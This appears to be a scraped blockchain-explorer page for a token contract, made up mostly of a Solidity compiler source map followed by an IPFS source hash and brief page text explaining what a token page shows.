-;;;;;;;34626:12;:24;34639:7;34647:1;34639:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;34626:24:0::2;-1:-1:-1::0;;;;;34626:24:0::2;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;34679:29;34685:7;34693:1;34685:10;;;;;;;;:::i;:::-;;;;;;;34697:7;34705:1;34697:10;;;;;;;;:::i;34679:29::-;34403:3;;34367:353;;;;34730:20;:18;:20::i;:::-;34083:671;;;34006:748:::0;:::o;32366:270::-;30040:11;;-1:-1:-1;;;30040:11:0;;;;30032:39;;;;-1:-1:-1;;;30032:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32440:20:0;::::1;32432:47;;;::::0;-1:-1:-1;;;32432:47:0;;7243:2:1;32432:47:0::1;::::0;::::1;7225:21:1::0;7282:2;7262:18;;;7255:30;-1:-1:-1;;;7301:18:1;;;7294:44;7355:18;;32432:47:0::1;7041:338:1::0;32432:47:0::1;32507:15;32533:21;32539:6:::0;32507:15;32533:5:::1;:21::i;:::-;32565:32;32582:6;32590;32565:16;:32::i;:::-;32608:20;:18;:20::i;32644:823::-:0;30040:11;;32731:4;;-1:-1:-1;;;30040:11:0;;;;30032:39;;;;-1:-1:-1;;;30032:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32756:16:0;::::1;32748:46;;;::::0;-1:-1:-1;;;32748:46:0;;9480:2:1;32748:46:0::1;::::0;::::1;9462:21:1::0;9519:2;9499:18;;;9492:30;-1:-1:-1;;;9538:18:1;;;9531:47;9595:18;;32748:46:0::1;9278:341:1::0;32748:46:0::1;32805:28;32822:2;32826:6;32805:16;:28::i;:::-;32844:33;32854:10;32866:2;32870:6;32844:9;:33::i;:::-;32892:8;::::0;-1:-1:-1;;;;;32892:8:0::1;:22:::0;32888:519:::1;;32950:8;::::0;32982:70:::1;::::0;-1:-1:-1;;;;;9816:32:1;;;32982:70:0::1;::::0;::::1;9798:51:1::0;9865:18;;;9858:34;;;32932:12:0::1;::::0;32950:8:::1;::::0;9771:18:1;;32982:70:0::1;::::0;;-1:-1:-1;;32982:70:0;;::::1;::::0;;;;;;::::1;::::0;::::1;::::0;;-1:-1:-1;;;;;32982:70:0::1;-1:-1:-1::0;;;32982:70:0::1;::::0;;32950:117;::::1;::::0;32982:70;32950:117:::1;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32931:136;;;33087:7;33082:314;;33139:12;::::0;33247:8:::1;::::0;33179:103:::1;::::0;;-1:-1:-1;;;;;33247:8:0;;::::1;33179:103;::::0;::::1;10407:51:1::0;10474:18;;;10467:30;;;;10533:2;10513:18;;;10506:30;-1:-1:-1;;;10552:18:1;;;10545:52;33116:17:0::1;::::0;33139:12;;;::::1;::::0;10614:19:1;;33179:103:0::1;::::0;;-1:-1:-1;;33179:103:0;;::::1;::::0;;;;;;::::1;::::0;::::1;::::0;;-1:-1:-1;;;;;33179:103:0::1;-1:-1:-1::0;;;33179:103:0::1;::::0;;33139:162;::::1;::::0;33179:103;33139:162:::1;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33115:186;;;33328:12;33320:60;;;::::0;-1:-1:-1;;;33320:60:0;;10846:2:1;33320:60:0::1;::::0;::::1;10828:21:1::0;10885:2;10865:18;;;10858:30;10924:34;10904:18;;;10897:62;-1:-1:-1;;;10975:18:1;;;10968:33;11018:19;;33320:60:0::1;10644:399:1::0;33320:60:0::1;33096:300;33082:314;32916:491;32888:519;33417:20;:18;:20::i;:::-;-1:-1:-1::0;33455:4:0::1;32644:823:::0;;;;:::o;30721:312::-;30789:11;;-1:-1:-1;;;30789:11:0;;;;30788:12;30780:44;;;;-1:-1:-1;;;30780:44:0;;11250:2:1;30780:44:0;;;11232:21:1;11289:2;11269:18;;;11262:30;-1:-1:-1;;;11308:18:1;;;11301:49;11367:18;;30780:44:0;11048:343:1;30780:44:0;-1:-1:-1;;;;;30843:23:0;;30835:61;;;;-1:-1:-1;;;30835:61:0;;11598:2:1;30835:61:0;;;11580:21:1;11637:2;11617:18;;;11610:30;11676:27;11656:18;;;11649:55;11721:18;;30835:61:0;11396:349:1;30835:61:0;30907:11;:18;;-1:-1:-1;;;;30907:18:0;-1:-1:-1;;;30907:18:0;;;30936:8;:20;;-1:-1:-1;;;;;30936:20:0;;-1:-1:-1;;;;;;30936:20:0;;;;;;30967;:18;:20::i;:::-;31003:22;;-1:-1:-1;;;;;31003:22:0;;;;;;;;30721:312;:::o;20137:130::-;20222:37;20231:5;20238:7;20247:5;20254:4;20222:8;:37::i;:::-;20137:130;;;:::o;21869:486::-;-1:-1:-1;;;;;14924:18:0;;;21969:24;14924:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;22036:36:0;;22032:316;;;22112:5;22093:16;:24;22089:132;;;22145:60;;-1:-1:-1;;;22145:60:0;;-1:-1:-1;;;;;11970:32:1;;22145:60:0;;;11952:51:1;12019:18;;;12012:34;;;12062:18;;;12055:34;;;11925:18;;22145:60:0;11750:345:1;22089:132:0;22264:57;22273:5;22280:7;22308:5;22289:16;:24;22315:5;22264:8;:57::i;16712:308::-;-1:-1:-1;;;;;16796:18:0;;16792:88;;16838:30;;-1:-1:-1;;;16838:30:0;;16865:1;16838:30;;;1673:51:1;1646:18;;16838:30:0;1527:203:1;16792:88:0;-1:-1:-1;;;;;16894:16:0;;16890:88;;16934:32;;-1:-1:-1;;;16934:32:0;;16963:1;16934:32;;;1673:51:1;1646:18;;16934:32:0;1527:203:1;16890:88:0;16988:24;16996:4;17002:2;17006:5;16988:7;:24::i;31846:257::-;-1:-1:-1;;;;;31928:16:0;;31920:46;;;;-1:-1:-1;;;31920:46:0;;9480:2:1;31920:46:0;;;9462:21:1;9519:2;9499:18;;;9492:30;-1:-1:-1;;;9538:18:1;;;9531:47;9595:18;;31920:46:0;9278:341:1;31920:46:0;31994:1;31985:6;:10;31977:37;;;;-1:-1:-1;;;31977:37:0;;12302:2:1;31977:37:0;;;12284:21:1;12341:2;12321:18;;;12314:30;-1:-1:-1;;;12360:18:1;;;12353:44;12414:18;;31977:37:0;12100:338:1;31977:37:0;-1:-1:-1;;;;;32025:16:0;;;;;;:12;:16;;;;;:26;;32045:6;;32025:16;:26;;32045:6;;32025:26;:::i;:::-;;;;-1:-1:-1;32062:33:0;;-1:-1:-1;32084:2:0;32088:6;32062:21;:33::i;18832:213::-;-1:-1:-1;;;;;18903:21:0;;18899:93;;18948:32;;-1:-1:-1;;;18948:32:0;;18977:1;18948:32;;;1673:51:1;1646:18;;18948:32:0;1527:203:1;18899:93:0;19002:35;19018:1;19022:7;19031:5;19002:7;:35::i;31041:502::-;30157:17;;:23;;30177:3;30157:23;:::i;:::-;30138:15;:42;;30130:75;;;;-1:-1:-1;;;30130:75:0;;7848:2:1;30130:75:0;;;7830:21:1;7887:2;7867:18;;;7860:30;-1:-1:-1;;;7906:18:1;;;7899:50;7966:18;;30130:75:0;7646:344:1;30130:75:0;31120:15:::1;31100:17;:35:::0;;;31187:45:::1;::::0;;::::1;::::0;;::::1;8497:19:1::0;;;;31221:10:0::1;8554:2:1::0;8550:15;-1:-1:-1;;8546:53:1;8532:12;;;8525:75;31187:45:0;;;;;;;;;8616:12:1;;;;31187:45:0;;;31177:56;;;::::1;::::0;-1:-1:-1;;31169:71:0::1;::::0;31237:3:::1;::::0;31169:71:::1;:::i;:::-;:79;::::0;31243:5:::1;31169:79;:::i;:::-;:83;::::0;31251:1:::1;31169:83;:::i;:::-;31146:106;;31263:47;31285:10;31297:12;31263:21;:47::i;:::-;31340:12;::::0;31372:100:::1;::::0;29702:42:::1;31372:100;::::0;::::1;12645:51:1::0;31447:10:0::1;12712:18:1::0;;;12705:60;12781:18;;;12774:34;;;31322:12:0::1;::::0;-1:-1:-1;;;;;31340:12:0::1;::::0;12618:18:1;;31372:100:0::1;::::0;;-1:-1:-1;;31372:100:0;;::::1;::::0;;;;;;::::1;::::0;::::1;::::0;;-1:-1:-1;;;;;31372:100:0::1;-1:-1:-1::0;;;31372:100:0::1;::::0;;31340:143;::::1;::::0;31372:100;31340:143:::1;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31321:162;;;31502:7;31494:41;;;::::0;-1:-1:-1;;;31494:41:0;;13021:2:1;31494:41:0::1;::::0;::::1;13003:21:1::0;13060:2;13040:18;;;13033:30;-1:-1:-1;;;13079:18:1;;;13072:51;13140:18;;31494:41:0::1;12819:345:1::0;21134:443:0;-1:-1:-1;;;;;21247:19:0;;21243:91;;21290:32;;-1:-1:-1;;;21290:32:0;;21319:1;21290:32;;;1673:51:1;1646:18;;21290:32:0;1527:203:1;21243:91:0;-1:-1:-1;;;;;21348:21:0;;21344:92;;21393:31;;-1:-1:-1;;;21393:31:0;;21421:1;21393:31;;;1673:51:1;1646:18;;21393:31:0;1527:203:1;21344:92:0;-1:-1:-1;;;;;21446:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;21492:78;;;;21543:7;-1:-1:-1;;;;;21527:31:0;21536:5;-1:-1:-1;;;;;21527:31:0;;21552:5;21527:31;;;;1491:25:1;;1479:2;1464:18;;1345:177;21527:31:0;;;;;;;;21134:443;;;;:::o;17344:1135::-;-1:-1:-1;;;;;17434:18:0;;17430:552;;17588:5;17572:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;17430:552:0;;-1:-1:-1;17430:552:0;;-1:-1:-1;;;;;17648:15:0;;17626:19;17648:15;;;;;;;;;;;17682:19;;;17678:117;;;17729:50;;-1:-1:-1;;;17729:50:0;;-1:-1:-1;;;;;11970:32:1;;17729:50:0;;;11952:51:1;12019:18;;;12012:34;;;12062:18;;;12055:34;;;11925:18;;17729:50:0;11750:345:1;17678:117:0;-1:-1:-1;;;;;17918:15:0;;:9;:15;;;;;;;;;;17936:19;;;;17918:37;;17430:552;-1:-1:-1;;;;;17998:16:0;;17994:435;;18164:12;:21;;;;;;;17994:435;;;-1:-1:-1;;;;;18380:13:0;;:9;:13;;;;;;;;;;:22;;;;;;17994:435;18461:2;-1:-1:-1;;;;;18446:25:0;18455:4;-1:-1:-1;;;;;18446:25:0;;18465:5;18446:25;;;;1491::1;;1479:2;1464:18;;1345:177;18446:25:0;;;;;;;;17344:1135;;;:::o;31551:287::-;31649:12;;31681:86;;29702:42;31681:86;;;12645:51:1;-1:-1:-1;;;;;12732:32:1;;;12712:18;;;12705:60;12781:18;;;12774:34;;;31631:12:0;;31649;;12618:18:1;;31681:86:0;;;-1:-1:-1;;31681:86:0;;;;;;;;;;;;;;-1:-1:-1;;;;;31681:86:0;-1:-1:-1;;;31681:86:0;;;31649:129;;;31681:86;31649:129;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31630:148;;;31797:7;31789:41;;;;-1:-1:-1;;;31789:41:0;;13021:2:1;31789:41:0;;;13003:21:1;13060:2;13040:18;;;13033:30;-1:-1:-1;;;13079:18:1;;;13072:51;13140:18;;31789:41:0;12819:345:1;14:250;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:173::-;738:20;;-1:-1:-1;;;;;787:31:1;;777:42;;767:70;;833:1;830;823:12;767:70;670:173;;;:::o;848:300::-;916:6;924;977:2;965:9;956:7;952:23;948:32;945:52;;;993:1;990;983:12;945:52;1016:29;1035:9;1016:29;:::i;:::-;1006:39;1114:2;1099:18;;;;1086:32;;-1:-1:-1;;;848:300:1:o;1735:374::-;1812:6;1820;1828;1881:2;1869:9;1860:7;1856:23;1852:32;1849:52;;;1897:1;1894;1887:12;1849:52;1920:29;1939:9;1920:29;:::i;:::-;1910:39;;1968:38;2002:2;1991:9;1987:18;1968:38;:::i;:::-;1735:374;;1958:48;;-1:-1:-1;;;2075:2:1;2060:18;;;;2047:32;;1735:374::o;2303:127::-;2364:10;2359:3;2355:20;2352:1;2345:31;2395:4;2392:1;2385:15;2419:4;2416:1;2409:15;2435:275;2506:2;2500:9;2571:2;2552:13;;-1:-1:-1;;2548:27:1;2536:40;;2606:18;2591:34;;2627:22;;;2588:62;2585:88;;;2653:18;;:::i;:::-;2689:2;2682:22;2435:275;;-1:-1:-1;2435:275:1:o;2715:183::-;2775:4;2808:18;2800:6;2797:30;2794:56;;;2830:18;;:::i;:::-;-1:-1:-1;2875:1:1;2871:14;2887:4;2867:25;;2715:183::o;2903:723::-;2957:5;3010:3;3003:4;2995:6;2991:17;2987:27;2977:55;;3028:1;3025;3018:12;2977:55;3068:6;3055:20;3095:64;3111:47;3151:6;3111:47;:::i;:::-;3095:64;:::i;:::-;3183:3;3207:6;3202:3;3195:19;3239:4;3234:3;3230:14;3223:21;;3300:4;3290:6;3287:1;3283:14;3275:6;3271:27;3267:38;3253:52;;3328:3;3320:6;3317:15;3314:35;;;3345:1;3342;3335:12;3314:35;3381:4;3373:6;3369:17;3395:200;3411:6;3406:3;3403:15;3395:200;;;3503:17;;3533:18;;3580:4;3571:14;;;;3428;3395:200;;;-1:-1:-1;3613:7:1;2903:723;-1:-1:-1;;;;;2903:723:1:o;3631:1146::-;3749:6;3757;3810:2;3798:9;3789:7;3785:23;3781:32;3778:52;;;3826:1;3823;3816:12;3778:52;3866:9;3853:23;3899:18;3891:6;3888:30;3885:50;;;3931:1;3928;3921:12;3885:50;3954:22;;4007:4;3999:13;;3995:27;-1:-1:-1;3985:55:1;;4036:1;4033;4026:12;3985:55;4076:2;4063:16;4099:64;4115:47;4155:6;4115:47;:::i;4099:64::-;4185:3;4209:6;4204:3;4197:19;4241:4;4236:3;4232:14;4225:21;;4298:4;4288:6;4285:1;4281:14;4277:2;4273:23;4269:34;4255:48;;4326:7;4318:6;4315:19;4312:39;;;4347:1;4344;4337:12;4312:39;4379:4;4375:2;4371:13;4360:24;;4393:152;4409:6;4404:3;4401:15;4393:152;;;4477:23;4496:3;4477:23;:::i;:::-;4465:36;;4530:4;4426:14;;;;4521;;;;4393:152;;;4564:5;-1:-1:-1;;;;4622:4:1;4607:20;;4594:34;4653:18;4640:32;;4637:52;;;4685:1;4682;4675:12;4637:52;4708:63;4763:7;4752:8;4741:9;4737:24;4708:63;:::i;:::-;4698:73;;;3631:1146;;;;;:::o;4782:226::-;4841:6;4894:2;4882:9;4873:7;4869:23;4865:32;4862:52;;;4910:1;4907;4900:12;4862:52;-1:-1:-1;4955:23:1;;4782:226;-1:-1:-1;4782:226:1:o;5013:186::-;5072:6;5125:2;5113:9;5104:7;5100:23;5096:32;5093:52;;;5141:1;5138;5131:12;5093:52;5164:29;5183:9;5164:29;:::i;:::-;5154:39;5013:186;-1:-1:-1;;;5013:186:1:o;5204:260::-;5272:6;5280;5333:2;5321:9;5312:7;5308:23;5304:32;5301:52;;;5349:1;5346;5339:12;5301:52;5372:29;5391:9;5372:29;:::i;:::-;5362:39;;5420:38;5454:2;5443:9;5439:18;5420:38;:::i;:::-;5410:48;;5204:260;;;;;:::o;5469:380::-;5548:1;5544:12;;;;5591;;;5612:61;;5666:4;5658:6;5654:17;5644:27;;5612:61;5719:2;5711:6;5708:14;5688:18;5685:38;5682:161;;5765:10;5760:3;5756:20;5753:1;5746:31;5800:4;5797:1;5790:15;5828:4;5825:1;5818:15;5682:161;;5469:380;;;:::o;5854:339::-;6056:2;6038:21;;;6095:2;6075:18;;;6068:30;-1:-1:-1;;;6129:2:1;6114:18;;6107:45;6184:2;6169:18;;5854:339::o;6909:127::-;6970:10;6965:3;6961:20;6958:1;6951:31;7001:4;6998:1;6991:15;7025:4;7022:1;7015:15;7384:127;7445:10;7440:3;7436:20;7433:1;7426:31;7476:4;7473:1;7466:15;7500:4;7497:1;7490:15;7516:125;7581:9;;;7602:10;;;7599:36;;;7615:18;;:::i;8891:209::-;8923:1;8949;8939:132;;8993:10;8988:3;8984:20;8981:1;8974:31;9028:4;9025:1;9018:15;9056:4;9053:1;9046:15;8939:132;-1:-1:-1;9085:9:1;;8891:209::o;9105:168::-;9178:9;;;9209;;9226:15;;;9220:22;;9206:37;9196:71;;9247:18;;:::i;9903:287::-;10032:3;10070:6;10064:13;10086:66;10145:6;10140:3;10133:4;10125:6;10121:17;10086:66;:::i;:::-;10168:16;;;;;9903:287;-1:-1:-1;;9903:287:1:o

Swarm Source

ipfs://58de982bfe3f08a72ef65ec37f6fcb9e201a34d547c6679457bf1d53da47f0e9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.